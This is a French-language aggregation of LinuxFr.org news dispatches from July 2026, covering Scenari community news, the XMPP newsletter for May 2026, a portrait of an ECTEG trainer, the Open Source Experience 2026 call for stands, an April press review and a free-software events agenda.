    Nouveautés de juillet 2026 de la communauté Scenari

    Scenari est un ensemble de logiciels open source dédiés à la production collaborative, publication et diffusion de documents multi-support. Vous rédigez une seule fois votre contenu et vous pouvez les générer sous plusieurs formes : site web, PDF, OpenDocument, diaporama, paquet SCORM (Sharable Content Object Reference Model)… Vous ne vous concentrez que sur le contenu et l’outil se charge de créer un rendu professionnel accessible et responsive (qui s’adapte à la taille de l’écran).

    À chaque métier/contexte son modèle Scenari :

    • Opale pour la formation 
    • Dokiel pour la documentation 
    • Optim pour les présentations génériques 
    • Topaze pour les études de cas 
    • Parcours pour créer des scénarios de formation 

    Sommaire

    🖥️ Prochain mini-webinaire : « L’après-Canoprof : des solutions pour utiliser ses contenus au delà du 31 juillet 2026 » 9 juillet

    🗓️ Jeudi 9 juillet 2026
    ⌚ 15h30- 16h30, heure de Paris
    🌐 https://scenari.org/visio/miniwebinaire

    Mini-webinaire plutôt orienté enseignement primaire/secondaire.

    Suite à l’arrêt annoncé par Réseau Canopé de la plateforme CanoprofCloud pour le 31 juillet 2026, nous te présenterons un nouveau service en ligne proposé par Kelis ainsi que d’autres solutions pour aider à récupérer et continuer à utiliser les contenus Canoprof. Nous en profiterons pour refaire un point sur le contexte et le vocabulaire autour du système Scenari.

    Toutes les informations sur https://info.prof.scenari.cloud/

    Pour que la session colle au mieux aux besoins de la communauté, tu peux participer à ce fil de discussion sur le forum.

    Les enregistrements des mini-webinaires précédents sont sur la page dédiée de scenari.org et dans notre canal peertube.

    Pour proposer des sujets, rends-toi sur ce fil de discussion.

    💗 Parole de la communauté

    Bien que j’ai découvert l’univers Scenari grâce à Topaze, aujourd’hui j’utilise principalement Parcours, Opale et Optim pour mes cours de musique en ligne.

    Je crée des capsules Opale avec des audio, des vidéos et des quiz que j’utilise dans les espaces de chaque élèves comme supports asynchrones ou dans mes cours en visio. Ceci me permet de mettre rapidement à disposition de chaque élève des ressources sur le rythme, la théorie musicale ou spécifique à la clarinette en fonction des apprentissages de chacun. La structure des espaces des élèves, des cours individuels et des « jeudi musique », un cours collectif tous les premiers jeudi du mois, sont créés avec Parcours. J’ai un modèle Parcours de base que j’agrémente des capsules Opales pour adapter les contenus à chaque élève ou à chaque cours. Enfin j’utilise Optim pour mon blog et dans le fonctionnement de mon entreprise pour documenter mes recherches pédagogiques et musicales.

    Pourquoi j’ai choisi et pourquoi je reste avec Scenari ?

    Parce que j’arrive facilement à ranger et à retrouver mes ressources,

    Parce que je n’ai pas besoin de faire de mise en page qui me prend des heures et

    Parce que je peux facilement mutualiser les ressources d’un élève à l’autre ou d’un cours à l’autre mais aussi d’un support à l’autre (support web à support pdf par exemple).

    Un gain de temps précieux.

    Photo de Sophie Sauva Sophie Sauva, enseignante de clarinette en ligne chez So Clar.

    Modèles utilisés : Opale, Optim, Parcours

    📣 Rencontres Scenari 2026, MERCI !

    Logo des Rencontres Scenari 2026

    Photo de famille des Rencontres Scenari 2026

    • ⚙️ 1 ateliers et 🗨️ 20 conférences.
    • 👥 76 personnes sur place.
    • 💬 187 personnes sur l'espace d'échange Mattermost.
    • 🎬 12 sessions diffusées en direct.
    • 🧵 4 ateliers libre service « Progress’ ».

    📣 Témoignage de la médaille de bronze des pépites pédagogiques du Cnam

    Icone témoignage

    Cécile Chabas-Laquieze, professeure au Cnam, à présenté son usage d’Opale lors de la Rencontre Nationale de l’Innovation Pédagogique 2026 du Cnam sous le titre :

    « Scenari-Opale : une chaîne éditoriale pour des contenus pédagogiques interactifs, accessibles sur le web comme sur papier »

    Et elle a gagné la pépite de bronze ! 👏👏👏

    Retrouve son témoignage en vidéo.

    pépite de la pédagogie Cnam, de bronze

    📣 Tuto installation serveur Scenari

    icone tutos

    Un usager du forum Scenari, professeur de Sciences physiques et chimique, a créé un tutoriel complet intitulé « SCENARIsuite-starter 6.4 — Installation complète sur VM ou LXC Debian 13 (Proxmox) ».

    Ce tutoriel est disponible sur la Forge des communs numériques éducatifs : https://forge.apps.education.fr/-/snippets/186

    Bravo à lui ! 👏

    📣 Nouveaux habillages et nouvelle version de la suite Scenari

    icone mises à jour

    ➡️ L’habillage graphique « Leaf été » est désormais disponible pour Optim et OptimPlus.

    Cet habillage est une déclinaison du skin « Leaf ».

    Pour plus d’informations et téléchargement, consultez la documentation de Leaf pour Optim et la documentation de Leaf pour OptimPlus.

    ➡️ Par ailleurs, la version 6.5 de Scenari vient de sortir ! Cette version reste compatible avec tous les modèles documentaires conçus pour SCENARI 6.x.

    Les applications SCENARIchain-desktop 6 et SCENARIclient 6 doivent automatiquement proposer la mise à jour vers cette nouvelle version.

    Consulte la note de version pour découvrir les nouveautés.

    📣 Offre d’emploi

    Offre d’emploi

    Le Cnam (Île-de-France) propose une offre d’emploi en CDI pour un poste de « Concepteur de contenus pédagogiques ».

    La maîtrise de Scenari fait partie des compétences recherchées.

    Tous les détails sont sur l’annonce en ligne.

    ✨ Le savais-tu ?

    Imaginons que tu as un item A référencé de nombreuses fois dans ton contenu, et tu voudrais qu’en lieu et place de cet item A ce soit un autre item qui soit référencé partout.

    Il existe (évidemment) un outil pour cela 🙌

    Ouvre l’item A et clique sur les trois petits points en haut à gauche à côté du titre de ton item, puis choisis « substituer par… ».

    Attention, le changement se fait dans tout l’atelier.

    Gif animé qui illustre la substitution d'item

    📊 Le chiffre du mois

    1267 1267, c’est le nombre de chaînes à traduire dans Opale si on veut l’avoir dans une autre langue.

    🦋 Scenari présent dans …

    • Presse Agence, la lettre économique et politique de PACA a écrit un article sur les Rencontres Scenari 2026.
    • Loïc a fait des sessions de découvertes/initiation à Opale, Topaze et Parcours auprès d’un public de professeurs de l’université Ibn Zohr à Agadir - Maroc photo de famille de la formation découverte Scenari à Agadir

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    Reçu — 9 juillet 2026 LinuxFr.org : les dépêches

    Lettre d'information XMPP de mai 2026

    N. D. T. — Ceci est une traduction de la lettre d’information publiée régulièrement par l’équipe de communication de la XSF, essayant de conserver les tournures de phrase et l’esprit de l’original. Elle est réalisée et publiée conjointement sur les sites XMPP.org et LinuxFr.org selon une procédure définie.

    Bannière de la lettre d'information XMPP

    Bienvenue dans la lettre d'information XMPP, ravi de vous retrouver ! Ce numéro couvre le mois de mai 2026.

    La lettre d'information XMPP vous est proposée par l'Équipe de communication de la XSF.

    Comme tout autre projet accompli par la XSF, la lettre d'information est le résultat du travail volontaire de ses membres et des personnes y contribuant. Si vous êtes satisfait des services et logiciels que vous utilisez peut-être, n'hésitez pas à dire merci ou aider ces projets.

    Vous souhaitez contribuer à l'équipe de communication de la XSF ? Lisez en bas de page.

      Sommaire

      Annonces de la XSF

      29e Sommet XMPP

      La XSF (XMPP Standards Foundation) est ravie d'annoncer le 29ème Sommet XMPP, le tout premier Sommet XMPP à se dérouler entièrement en ligne ! Le Sommet XMPP se tiendra du vendredi 4 septembre au samedi 5 septembre 2026, de 13h00 à 16h00 UTC les deux jours. La XSF invite toute personne intéressée par le développement des technologies XMPP à y participer et à discuter de tout ce qui touche à XMPP à distance !

      Évènements XMPP

      • Sprint XMPP à Berlin (DE / EN) : ça se déroulera en juin, du vendredi 19 au dimanche 21 juin 2026, dans les bureaux de Wikimedia Deutschland e.V. à Berlin, en Allemagne. Si cet événement vous intéresse, venez nous rejoindre ! Pensez simplement à vous inscrire ici, afin que nous sachions combien de personnes seront présentes pour organiser cela au mieux. Si vous avez des questions ou interrogations, rejoignez-nous sur le salon de discussion : sprints@muc.xmpp.org !

      • XMPP à FOSSY 2026 : l'édition de cette année de FOSSY, la quatrième conférence Free and Open Source Software Yearly, se tiendra au mois d'août, du jeudi 6 au dimanche 9 août 2026 à l'Université de la Colombie-Britannique, à Vancouver, au Canada. Comme toujours, il y aura une thématique XMPP. L'appel à propositions est clos depuis le 2 juin 2026. Cette année encore, JMP a le plaisir de renouveler son offre annuelle de financement pour les intervenants qui souhaiteraient animer une présentation sur la thématique XMPP.

      Vidéos et conférences XMPP

      Articles XMPP

      Nouvelles des logiciels XMPP

      Clients et Applications XMPP

      • aTalk a publié les versions 5.4.0, 5.5.0 et 6.0.0 de sa messagerie instantanée chiffrée avec appels vidéo et fonctionnalités GPS pour Android. Ces versions apportent de nombreux changements "sous le capot". Veuillez consulter les notes de mise à jour pour tous les détails.

      • Conversations a publié les versions 2.19.16 et 2.20.0 pour Android. Ces versions apportent une révision importante de l'interface utilisateur, un navigateur de médias amélioré permettant de partager et de supprimer des fichiers média, le stockage des médias en interne par défaut (avec un paramètre pour les enregistrer automatiquement dans la galerie), l'envoi immédiat des enregistrements audio au lieu de les attacher en pièce jointe (plus un paramètre pour rétablir l'ancien comportement), l'option Afficher le code QR qui inclut désormais le paramètre de pré-authentification sur les serveurs avec invitations simplifiées, ainsi qu'une barre de recherche pour accéder plus facilement aux recherches depuis l'écran d'accueil. N'oubliez pas de consulter le journal des modifications pour tous les détails !

      Conversations : une barre de recherche bien visible sur l'écran principal et un flux de pièces jointes multimédias retravaillé .

      • Converse.js a publié les versions 13.0.0 et 13.0.1 de son client de chat XMPP open source basé sur le Web, avec divers ajouts, améliorations et corrections de bogues. Ces versions ajoutent la prise en charge des réactions aux messages permettant aux utilisateurs de réagir aux messages avec des emojis, les réponses aux messages à des messages spécifiques, la saisie semi-automatique des fournisseurs XMPP possibles lors de la création d’un nouveau compte, une demi-douzaine de corrections et pas mal de travail en coulisses ! Rendez-vous sur le journal des modifications pour tous les détails !

      • Monal a publié la version 6.4.21 pour iOS et macOS. Cette version affiche désormais la date et l'heure de la dernière utilisation des clés OMEMO, améliore la précision du partage de position et les horodatages de la dernière activité des contacts, et corrige également plusieurs bugs !

      • Monocles a publié les versions 2.1.6 et 2.2, 2.2.1 et 2.2.2 de son client de chat pour Android. Ces versions introduisent un grand nombre de nouvelles fonctionnalités, d’améliorations et de corrections de bogues, bien trop nombreuses pour être toutes répertoriées ici. Parmi les nouveautés les plus marquantes, vous trouverez les messages éphémères, le partage de position en temps réel, la création et la restauration améliorées des sauvegardes, l’utilisation par défaut du stockage interne caché, le chiffrement de la base de données locale, l’amélioration du chiffrement et de la fiabilité des sauvegardes, la suppression sécurisée et la récupération après migration, des améliorations de l’interface utilisateur et de l’expérience utilisateur, une galerie multimédia, et bien plus encore ! N’hésitez pas à consulter les liens pour obtenir tous les détails ! Remarque : en raison de certains retards dans les mises à jour du Play Store, ces versions ne sont pour l’instant disponibles que via F-droid.

      Monocles Chat: Ephemeral messages, live location sharing, and the media gallery!

      • Poezio a publié la version 0.18 de son client console pour XMPP. Cette nouvelle version apporte principalement des améliorations internes, ainsi que quelques nouvelles fonctionnalités telles que la rétraction des messages côté expéditeur, diverses améliorations du plugin react, notamment un moyen de convertir les codes courts :emoji: en véritables emojis, et une nouvelle façon d’afficher ou de masquer les présences dans les discussions de groupe, ainsi que quelques autres améliorations et corrections. Vous trouverez tous les détails dans le lien vers la note de mise à jour.

      • Profanity a publié la version 0.18.1 de son client XMPP en ligne de commande. Cette version apporte des corrections de bogues liés à la connexion à une ressource vide, résout des problèmes avec l’éditeur asynchrone, corrige les échecs de migration de la base de données et rétablit les demandes d’accusé de réception des messages lorsque les capacités sont inconnues, entre autres. N’oubliez pas de consulter le journal des modifications pour tous les détails !

      Serveurs XMPP

      • MongooseIM a publié MongooseIM 6.7.0 avec plus d'ajouts, de changements et de corrections de bugs que ce que nous pouvons raisonnablement énumérer ici ! Assurez-vous de lire le journal des modifications pour tous les détails !

      • La communauté Ignite Realtime a le plaisir d'annoncer la sortie d'Openfire 5.0.5. Le journal complet des modifications fournit plus de détails, notamment sur les corrections de bogues et les mises à jour des bibliothèques intégrées, tandis que l'équipe continue de travailler sur la prochaine version 5.1.0, qui apportera de nouvelles fonctionnalités.

      • Prosody IM a le plaisir d’annoncer la version 13.0.6, une nouvelle version mineure issue de la branche stable. Cette version corrige quelques bogues qui ont été découverts et corrigés depuis la version 13.0.5. La plupart de ces corrections sont mineures, mais certaines sont importantes. N’hésitez pas à consulter le journal des modifications pour plus de détails !

      Bibliothèques et outils XMPP

      Extensions et spécifications

      La XMPP Standards Foundation développe des extensions à XMPP dans sa série de XEP en plus des RFC XMPP. Des développeuses, développeurs et autres personnes expertes en normes du monde entier collaborent à ces extensions, élaborant de nouvelles spécifications pour les pratiques émergentes et affinant les méthodes existantes. Proposées par n'importe qui, celles qui remportent le plus de succès finissent par être classées comme finales ou actives, selon leur type, tandis que les autres sont soigneusement archivées comme différées. Ce cycle de vie est décrit dans la XEP-0001, qui contient les définitions formelles et canoniques des types, des états et des processus. Vous pouvez en savoir plus sur le processus de normalisation ici. La communication autour des normes et des extensions se fait via la liste de diffusion des normes (archives en ligne).

      Extensions proposées

      Le processus de développement d'une XEP commence par la rédaction d'une idée et sa soumission à l'éditeur XMPP. Dans un délai de deux semaines, le Conseil décide d'accepter ou non cette proposition en tant que XEP expérimentale.

      Nouvelles extensions

      • Pas de nouvelle XEP ce mois-ci.

      Extensions déférées

      Si une XEP expérimentale n’est pas mise à jour pendant plus de douze mois, elle sera retirée de la catégorie Expérimentale pour être classée comme Déférée. Si une mise à jour intervient, la XEP sera replacée dans la catégorie Expérimentale.

      • Pas de XEP déférée ce mois-ci.

      Extensions mises à jour

      • Version 0.2.0 de XEP-0449 (Autocollants)
        • Définir explicitement l'attribut « pack » comme MAY. Ajouter plus de détails sur l'envoi et la réception d'autocollants sans pack d'autocollants. (lmw)
      • Version 0.2.0 de XEP-0463 (Gestion des versions des affiliations MUC)
        • Utilisation d’un élément enfant dédié de <x/> plutôt que d’attributs avec espace de noms. (lmw)
      • Version 0.3.0 de XEP-0503 (Espaces côté serveur)
        • Correction du nom du champ du nœud pubsub dans les informations de disco de la salle.
        • Préciser comment associer des images (avatar et bannière) à un espace. (nc)

      Dernier appel

      Les derniers appels sont lancés une fois que tout le monde semble satisfait de l'état actuel d'une XEP. Une fois que le Conseil a décidé que la XEP semble prête, l'Éditeur XMPP émet un dernier appel pour recueillir des commentaires. Les commentaires recueillis lors du dernier appel peuvent aider à améliorer la XEP avant de le renvoyer au Conseil pour qu'il passe à l'état Stable.

      • Pas de dernier appel de XEP ce mois-ci.

      Extensions stables

      • Pas de XEP passant à stable ce mois.

      Extensions dépréciées

      • Pas de XEP dépréciée ce mois.

      Extensions rejetées

      • Pas de XEP rejetée ce mois.

      Partagez les nouvelles

      Veuillez partager cette nouvelle sur d'autres réseaux :

      Consultez également notre flux RSS !

      Vous recherchez des offres d'emploi ou souhaitez engager un consultant professionnel pour votre projet XMPP ? Consultez notre tableau d'affichage des offres d'emploi XMPP.

      Contributions et traductions de la lettre d'information

      Il s'agit d'un effort communautaire, et nous tenons à remercier les traductrices et traducteurs pour leur contribution.
      Les bénévoles et les nouvelles langues sont les bienvenues !
      Les traductions de la lettre d'information XMPP seront publiées ici (avec un certain retard) :

      Contributions à la lettre d'information de ce mois-ci : emus, cal0pteryx, Gonzalo Raúl Nemmi, Ludovic Bocquet, XSF iTeam

      Contributions à la traduction :

      Aidez-nous à créer la lettre d'information

      Cette lettre d'information XMPP est produite en collaboration avec la communauté XMPP. Chaque numéro mensuel est rédigé dans ce simple pad. À la fin de chaque mois, le contenu du pad est fusionné dans le dépôt GitHub de la XSF. Nous sommes toujours ravis d'accueillir de nouvelles personnes contributrices. N'hésitez pas à rejoindre la discussion dans notre groupe de discussion Comm-Team (MUC) et à nous aider ainsi à poursuivre cet effort communautaire. Vous avez un projet et souhaitez le faire connaître ? N'hésitez pas à partager vos actualités ou événements ici, et à les promouvoir auprès d'un large public.

      Tâches que nous effectuons régulièrement :

      • collecte d'actualités dans l'univers XMPP
      • résumés courts d'actualités et d'événements
      • résumé de la communication mensuelle sur les extensions (XEP)
      • révision du projet de lettre d'information
      • préparation d'images pour les médias
      • traductions
      • communication via les comptes des médias

      Licence

      Cette lettre d'information est publiée sous licence CC BY-SA.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      Reçu — 8 juillet 2026 LinuxFr.org : les dépêches

      Portrait d’un membre de la communauté Scenari : Yves Vandermeer (ECTEG)

      Scenari est un ensemble de logiciels open source dédiés à la production collaborative, publication et diffusion de documents multi-support (Opale pour la formation, Dokiel pour la documentation, Optim pour les présentations génériques, Topaze pour les études de cas, Parcours pour créer des scénarios de formation, etc.)

      Aujourd’hui nous échangeons avec Yves vandermeer, basé en Belgique, coordinateur de l’European Cybercrime Training and Éducation Group (ECTEG).

      ECTEG est une association internationale sans but lucratif (AISBL), qui regroupe des services de police des États membres de l’Union européenne et de l’Espace économique européen ainsi que des organismes internationaux, des universités, des entreprises du secteur privé et des experts.

      Financés par des fonds de la Commission européenne, l’ECTEG développe des formations en cyber-criminalité et analyse technico-légale des traces informatiques mises à la disposition des entités de police et des magistrats des États Membres et au-delà, par nos partenariats avec Europol, Interpol, l’OSCE, UNODC et le Conseil de l’Europe.

      Comment as-tu connu Scenari ?

      Début 2017, à la création d’ECTEG, j’étais à la recherche d’un outil de développement de contenus de formation interactifs et collaboratifs. Par de la veille et des recherches sur internet, j’ai découvert Scenari et sa communauté. Rapidement, une première formation interactive a été développée et mise à la disposition des forces de police européennes.

      Actuellement vous utilisez quels modèles Scenari et pourquoi ?

      Nous avons à présent migré la presque totalité de nos formations en ligne et en présentiel sur Scenari, pour lesquelles nous utilisons Topaze pour créer des jeux sérieux et Dokiel en version anglaise. Notre expérience en Topaze a été présentée lors des Rencontres Scenari 2020.

      L’utilisation de Dokiel permet de développer des cours en ligne qui préparent aux cours en présentiel. Lors de ces cours des labos pratiques sont communiqués aux participants, souvent en PDF et les solutions ensuite revues en mode “diapositives”.

      Une utilisation spécifique de Dokiel a également permis de rédiger les scripts et la documentation de deux scenarios réalistes pour lesquels les traces ont été enregistrées en temps réel, permettant ainsi de développer des exercices qui ressemblent à des enquêtes réelles. L’utilisation des variables, par exemple, a permis de rédiger le script en ignorant le numéro de la plaque minéralogique de la voiture des suspects. Mise à jour au moment du tournage, cette variable a permis de créer une documentation précise et complète du matériel ainsi créé.

      Avec plus de quatre-vingts experts travaillant à distance depuis différents pays européens, les fonctionnalités collaboratives de Scenari se sont révélées uniques, et les évolutions du cœur et des différents modèles apportent toujours de nouvelles réponses aux besoins pédagogiques.

      Y a-t-il des fonctionnalités transverses de Scenari que vous utilisez à l’ECTEG ?

      Nous utilisons les ateliers dérivés pour permettre les traductions de contenu, désormais assistées par une IA interne, mais aussi pour les localiser afin de s’adapter aux législations et pratiques qui différent pays à l’autre et pour certains cours sur d’autres continents. À titre d’exemples, un cours sur l’analyse des virus informatiques a récemment été traduit en espagnol pour former les spécialistes en Amérique du Sud et une version modifiée d’une autre formation adaptée pour la formation des autorité judiciaires, procureurs et juges.

      Quelle est votre implication dans la communauté ?

      Après une petite dizaine d’années d’utilisation de Scenari, il est devenu l’un de nos outils principaux et nous travaillons, avec l’aide de l’Association Scenari et de Kelis, au développement de nouvelles fonctionnalités pour répondre aux besoins exprimés par les utilisateurs et faciliter le déploiement des formations dans l’Union européenne et dans des pays tiers, bien sûr en Ukraine mais également en Asie et en Amérique du Sud.

      Quels projets avec Scenari prévoyez-vous dans le futur ?

      Ajouter la réalité virtuelle et améliorer l’intégration des cours développés sur des plateformes de formation comme Moodle sont quelques-uns de nos projets pour les mois à venir. Il est aussi important que ces développements soient mis à la disposition de la communauté Scenari.

      À combien estimes-tu le nombre de personnes ayant consulté vos productions faites avec Scenari ?

      Une de nos formations, entièrement en ligne et interactive qui comporte à ce jour six jeux sérieux est développée par une trentaine de policiers experts, cinq procureurs et une juge d’instruction. L’équipe interne d’ECTEG apporte son soutien pour les fonctionnalités avancées et la cohérence pédagogique. Ce cours a permis de former environ 1500 premiers intervenants mais s’implémente petit à petit dans les différents pays. Pour d’autres cours, techniquement plus avancés, environ 500 praticiens en analyse technico-légale les ont déjà suivis. Ce n’est qu’un début, pour la formation destinée aux premiers intervenants le public visé en Europe est de plus d’un demi-million de policiers, dès qu’elle sera disponible dans chacune des langues officielles.

      Merci Yves !

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      Reçu — 7 juillet 2026 LinuxFr.org : les dépêches

      Open Source Experience 2026 : appel à stands et retour sur l’édition 2025 #OSXP2026

      Après le palais des congrès et la Cité des Sciences et de l’Industrie, Open Source Experience déménage cette année à la porte de Versailles (toujours à Paris donc) et se tiendra les 9 et 10 décembre 2026. Cela nous permettra de nouveau d’avoir quelques stands de plus pour le village associatif !

      D’ailleurs, l’appel à stands est ouvert et n’attend plus que votre candidature.

      Bannière OSXP26

      En attendant, vous trouverez un petit retour sur cette cinquième édition qui s’est tenue les 10 et 11 décembre derniers, à la Cité des Sciences et de l’Industrie. L’événement était de nouveau couplé à DevOpsREX et ce duo d’événements colocalisés semble bien fonctionner. Encore une fois, nous étions là pour vous rencontrer, interagir avec la communauté et vous faire plaisir !

      📢 Appel à stands 2026 pour le village associatif

      Le village associatif rempile de nouveau cette année. Le déménagement à la porte de Versailles au sud de Paris permet de gagner encore de nouveaux stands (+5), soit une quinzaine cette année. Pour obtenir un stand, il faut répondre aux critères ci-dessous et postuler sur le formulaire dédié avant le 6 septembre 2026 à 23:59 CEST :

      • être une fondation ou une association à but non lucratif et non adossé à une entreprise (pour les entreprises, c’est sur cette page) ;
      • œuvrer pour l’Open Source et le Logiciel Libre (🦉 O RLY? (en)) ;
      • à vocation nationale 🇫🇷 ou internationale 🇺🇳 (vers l’infini et au-delà) ;
      • disposer d’un important réseau de contacts permettant de relayer l’événement en amont (📊 sortez vos stats) ;
      • s’engager à se mobiliser sur le stand sur une ou deux journées. Il sera en effet possible de partager temporellement le stand si vous n’êtes disponible qu’une seule journée. Fini les stands vides 😉.

      Les organisateurs présélectionneront une quinzaine d’associations répondant le mieux aux critères de sélection. Seront privilégiées les associations indépendantes de toute organisation privée, disposant de moyens financiers limités. Soyez rassurés, Bookynette est encore et toujours impliquée dans l’organisation de ce village. Un grand merci à elle !

      LinuxFr cochant toutes les cases, nous postulerons à nouveau 🤞. Nous verrons si nous pouvons encore vous faire gagner des Raspberry Pi, livres, abonnements, bières, Fairphone, Legos, etc. comme les années passées lors de notre animation façon Burger Quiz.

      Retour sur OSXP 2025

      Petit compte-rendu textuel et visuel, partial et partiel, de ces deux jours intenses fin 2025.

      Quelques photos

      Voici une petite sélection de photo, l’ensemble des photos (amateurs) sont disponibles dans ce répertoire.

      Un des tirages au sort sur notre stand, avec le mythique mégaphone Notre stand Gros attroupement autour de notre stand Le moment festif
      KPTN Vue globale d’une partie du village Un des tirages au sort sur notre stand L’annonce conjointe avec le podcast Projets Libres

      Une Grosse Annonce

      C’est lors du temps fort associatif d’Open Source Experience que nous avons annoncé en grande pompe que le podcast Projets Libres devenait le podcast de LinuxFr.org ! L’intégration est toujours en cours, et tout le monde y a trouvé son compte.

      Tous les détails sont dans cette dépêche : 🎙 Le podcast Projets Libres rejoint LinuxFr.org !.

      Les cadeaux gagnés !

      Au total 28 livres gagnés parmi 26 références de nos partenaires habituels : les éditions ENI, les éditions Eyrolles et les éditions D-Booker mais aussi un abonnement à SysOps Pratique des éditions Diamond !

      Couverture des livres à gagner disposés sur une grille de 5x5

      Logo éditions ENI Logo éditions Eyrolles Logo éditions B-BookeR
           

      L’Associal Club, le temps fort associatif

      Le second jour sur la pause déjeuner, nous avions prévu avec les organisateurs notre désormais rituel temps fort associatif, appelé l’Associal Club cette année, toujours avec KPTN qui a assuré la partie musicale. Enfin, le quiz façon burger quiz a été l’occasion de vous faire gagner un tas de cadeaux. Il ne fallait pas chercher sur les stands pros, les meilleurs étaient chez nous :

      • Pas un, mais deux Fairphone Murena (Gen. 6)
      • Un Casque Fairbuds XL
      • Une paire de Faibuds Earbuds
      • Une console Rétrogaming Hutopi avec Raspberry Pi
      • Un Kit Starter Raspberry Pi 5
      • Le Lego Evolution des STIM
      • Le Lego Wall-E et Eve
      • Le Lego Grogu avec son petit couffin flottant
      • Un pack Zoom ZUM-2PMP Microphone USB pour faire des podcasts
      • Un casque-micro Skyted 320 pour télétravailler en toute confidentialité
      • Le jeu de stratégie de la Bataille de Hoth de Star Wars
      • Le jeu de stratégie Dune Imperium

      Liste des lots pour le quiz

      On remercie encore les sponsors de cette édition qui ont participé à la quasi-totalité de leur financement:

      Merci OCamlPro Merci FactorFX

      Et aussi merci à Murena et Skyted qui ont abondé et permettront de faire encore plus d’heureux et d’heureuses (mais il a fallu trouver encore plus de questions pour le quiz !)

      Merci Murena Merci Skyted

      Vous pouvez tout revisionner si vous avez une heure devant vous.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      Reçu — 6 juillet 2026 LinuxFr.org : les dépêches

      Revue de presse de l’April pour la semaine 27 de l’année 2026

      Par : echarp
      6 juillet 2026 à 19:30

      Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

      [Les Numeriques] “J'ai voulu créer une app gratuite, open source et respectueuse de la vie privée”: Saracroche, le logiciel qui veut mettre fin aux démarchages téléphoniquess

      ✍ Corentin Bechade, le jeudi 2 juillet 2026.

      Né il y a un peu plus d’un an, Saracroche est rapidement devenu un phénomène en France. Pensée pour échapper au fléau des appels indésirables, l’app s’est taillé une excellente réputation au fil des mises à jour. Nous nous sommes entretenus avec Camille Bouvat, son développeur principal, pour savoir comment cette petite solution toulousaine a réussi à s’imposer comme une référence sur le marché.

      [The Conversation] Abondance, rareté, open source: et si le débat sur l'IA se trompait d'étage?

      ✍ Bruno Deffains, le jeudi 2 juillet 2026.

      Et si les performances affichées de l’IA générative cachaient un autre enjeu, celui du discernement. Et sur ce terrain, l’Europe possède des atouts certains.

      [Goodtech] Conformité au CRA: l'écosystème open source se dote d'une formation gratuite

      Le jeudi 2 juillet 2026.

      À l’approche de l’échéance de septembre 2026 du Cyber Resilience Act, l’Eclipse Foundation lance l’ORC Learning Hub pour guider les développeurs.

      [Le Monde Informatique] Comment l'Éducation nationale a construit le cloud Nuage pour le partage de fichiers

      ✍ Matthew Finnegan, le mercredi 1 juillet 2026.

      Basée sur des briques open source comme Nextcloud, la plateforme Nuage donne aux agents du ministère la possibilité de stocker et partager leurs documents tout en conservant les données sur des infrastructures publiques.

      [Numerama] Godot interdit le code généré par IA dans son moteur open source

      ✍ Amine Baba Aissa, le mercredi 1 juillet 2026.

      Débordée par l’afflux de pull requests de faible qualité, la Fondation Godot, à l’origine du moteur de jeu vidéo open source et gratuit utilisé pour créer des jeux 2D et 3D, a décidé de durcir sa politique de contribution, allant jusqu’à bannir le code généré par des agents IA.

      [ZDNET] Libre et open source express: Europe numérique, le pape et le Libre, communautés toxiques, Wikipédia

      ✍ Thierry Noisette, le mardi 30 juin 2026.

      Revue de web: Pierre Baudracco (BlueMind) et Jean-Baptiste Kempf (VLC) parlent de l’Europe. Une référence aux logiciels libres dans l’encyclique de Léon XIV? Sexisme bien présent. Un cofondateur banni de Wikipédia.

      [Silicon.fr] Comment l'UE se représente l'open source en France

      ✍ Clément Bohic, le lundi 29 juin 2026.

      La Commission européenne a mis à jour son rapport sur l’état de l’open source en France. Voici quelques éléments ajoutés pour la période 2023-2026.

      [ZDNET] La souveraineté numérique à l'ONU: au cœur de la dynamique mondiale pour remplacer les géants américains par des technologies open source

      ✍ Steven Vaughan-Nichols, le lundi 29 juin 2026.

      La souveraineté numérique s’est imposée comme le thème central de la Semaine de l’open source des Nations unies de cette année, de nombreux participants estimant que l’open source constitue désormais une infrastructure essentielle et qu’on ne peut pas faire confiance aux entreprises américaines.

      Et aussi:

      [ZDNET] 'La mutualisation, ça marche à fond!' L'Adullact, le logiciel libre au service des collectivités

      ✍ Thierry Noisette, le dimanche 28 juin 2026.

      L’association libriste des collectivités territoriales, née en 2002, est forte d’un demi-millier d’adhérents. Premier de deux retours sur son 10e congrès, à Montpellier.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      ? Les journaux LinuxFr.org les mieux notés de juin 2026

      6 juillet 2026 à 09:10

      LinuxFr.org propose des dépêches et articles, soumis par tout un chacun, puis revus et corrigés par l’équipe de modération avant publication. C’est la partie la plus visible de LinuxFr.org, ce sont les dépêches qui sont le plus lues et suivies, sur le site, via Atom/RSS, ou bien via partage par messagerie instantanée, par courriel, ou encore via médias sociaux.

      Bannière LinuxFr.org

      Ce que l’on sait moins, c’est que LinuxFr.org vous propose également de publier directement vos propres articles, sans validation a priori de lʼéquipe de modération. Ceux-ci s’appellent des journaux. Voici un florilège d’une dizaine de ces journaux parmi les mieux notés par les utilisateurs et les utilisatrices… qui notent. Lumière sur ceux du mois de juin passé.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      Reçu — 5 juillet 2026 LinuxFr.org : les dépêches

      Agenda du Libre pour la semaine 28 de l'année 2026

      5 juillet 2026 à 09:50

      Calendrier Web, regroupant des événements liés au Libre (logiciel, salon, atelier, install party, conférence), annoncés par leurs organisateurs. Voici un récapitulatif de la semaine à venir. Le détail de chacun de ces 30 événements (France: 25, Belgique: 2, Internet: 2, Québec: 1) est en seconde partie de dépêche.

      Sommaire

      [FR Saint Clar] Tous les Lundis, médiatheque de Saint Clar – Le lundi 6 juillet 2026 de 10h00 à 17h00.

      Tous les lundis de 10h à 17h sans interruption, l’association Prends-toi en main / atelier abcpc, propose install party, suivi, dépannage, formation et revalorisation à petit prix sous Linux exclusivement.

      L’atelier abcpc existe depuis plus de 10 ans et milite exclusivement pour les logiciels libres.

      [FR Saint-Étienne] Permanence de l’association Alolise – Le lundi 6 juillet 2026 de 19h00 à 22h00.

      Tous les lundis soir de 19h à 22h (hors jours fériés) à la Bricoleuse.

      Rencontrer les bénévoles, poser des questions sur le libre ou l’informatique, les logiciels, l’hébergement, passer de Windows à Linux.

